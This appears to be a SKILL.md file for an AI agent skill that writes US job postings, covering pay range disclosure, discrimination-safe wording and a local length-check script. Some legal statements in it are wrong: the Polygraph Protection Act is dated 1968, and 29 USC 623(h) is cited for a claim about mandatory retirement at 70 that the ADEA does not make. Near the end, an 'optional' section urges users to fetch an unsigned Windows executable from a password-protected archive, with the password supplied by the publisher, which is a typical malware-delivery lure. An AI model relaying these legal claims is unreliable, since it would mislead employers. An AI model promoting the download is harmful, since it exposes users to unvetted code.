Job Description Writer

Writes a US job posting from a role brief, with pay range disclosure, EEOC-safe wording and per-channel length checks. Written for US hiring managers, recruiters and HR teams posting to company sites, LinkedIn and job boards.

Use this skill when someone asks for:

• job description writer
• us job posting template
• pay range disclosure job post
• eeoc compliant job description
• job ad copy for hiring

The job

Postings are copied from an old listing, so they carry stale titles, no pay range and requirements that screen out protected groups before anyone applies.

What you get

1. Collect the role title, reporting line, duties, pay band, work location and work authorization needs from the hiring manager.
2. Split the requirements into essential and preferred, and cut every requirement the work does not actually need.
3. Write the posting in the order boards render it: title, pay range, about the role, duties, requirements, benefits, how to apply.
4. Check the pay disclosure against the state the job sits in, because the pay range and salary history rules differ by state.
5. Run the channel length check and list every claim the recruiting team has to support before publishing.

Output contract:

• posting - the full posting with title, pay range line, duties, requirements, benefits and how to apply
• requirement_audit - each requirement marked essential, preferred or unsupported by the duties
• disclosure_check - the state pay disclosure rule that applies and the exact line to add
• channel_versions - the same posting trimmed for the careers page, LinkedIn and a job board
• claim_flags - the phrases that need legal or HR review before the posting goes live

US specifics that matter

• New York Labor Law 194-b as amended in 2023, California Labor Code 432.3, and the pay transparency laws in Washington, Illinois, Colorado, Maryland and Massachusetts require pay ranges in postings or records, and the details vary by state and by employer size.
• Title VII of the Civil Rights Act of 1964 covers employers with 15 or more employees, and the ADA, the ADEA and the Pregnancy Discrimination Act apply on top of it, while state statutes can reach smaller employers.
• FLSA classification turns on the actual duties, so a job title alone does not make a role exempt or nonexempt, and 29 CFR part 541 sets the salary-basis and duties tests.
• The ADEA makes mandatory retirement at age 70 and beyond unlawful (29 USC 623(h)), so a posting must not carry an age-related requirement.
• The Employee Polygraph Protection Act of 1968 bars most private employers from using polygraphs to screen applicants, so a posting should not promise a polygraph screen.
• Federal contractors with covered contracts must follow the OFCCP affirmative recruitment rules, including the equal opportunity clause and, for non-exempt categories, two advertisements using non-gender-specific job titles (41 CFR 60-1.4).

Guardrails (hard rules)

• Never target, prefer or exclude a protected class in the wording, and never keep a requirement that is not necessary for the job.
• Never set, confirm or change pay, and never decide whether a role is exempt or nonexempt; payroll and HR own that decision against the FLSA duties test.
• Never publish the posting to a job board, career page or social account; the recruiter posts it.
• Never include a real applicant name, resume line or contact detail in the example posting.

Quickstart

1. Fill in the brief

templates/job-brief.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/check_posting_lengths.py --input job-brief.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/job-posting-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Pay range and pay history disclosure

• New York Labor Law 194-b and California Labor Code 432.3 require a pay range in postings for most employers.
• Washington, Illinois, Colorado, Maryland and Massachusetts set their own range and pay history rules, and the rule varies by state.
• Salary history questions are barred in several states, so the posting should not mention prior salary.
• Confirm the required range format and whether the employer size exemption applies before the posting goes live.

Wording that can screen out protected groups

• National origin, race, color, religion, sex, sexual orientation, gender identity, age, disability and genetic information cannot drive the wording.
• Do not restate a protected-class characteristic as a requirement, for example a caregiver role tied to having small children.
• The ADA allows a statement about the ability to perform the essential functions of the job and nothing about diagnosis.
• The ADEA bars mandatory retirement at 70 and beyond (29 USC 623(h)), so avoid age-based phrasing.

What a compliant posting contains

• Job title, reporting line, employment type, work location and whether the role is exempt or nonexempt as confirmed by payroll.
• Pay range with the unit, for example per hour or per year, in the state format required by the pay transparency law.
• Duties written as the work the person actually does, not as a wish list.
• Benefits summary, equal opportunity statement and a clear how-to-apply path.

Classification is not a copy decision

• 29 CFR part 541 sets the salary-basis and duties tests for the white-collar exemptions.
• The title in the posting should match the duties, so a senior analyst title on clerk duties creates exposure.
• Federal contractors above the OFCCP coverage threshold need the mandated clause and ad treatment.
• Leave the equal opportunity and contractor clauses to HR; the draft supplies the body copy.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/job-posting-rules.md - US job posting requirements and EEOC limits
• templates/job-brief.yaml - the brief to fill in
• scripts/check_posting_lengths.py - the working script

Verify the bundle

python3 scripts/check_posting_lengths.py --input job-brief.yaml --out ./out

Related

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• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.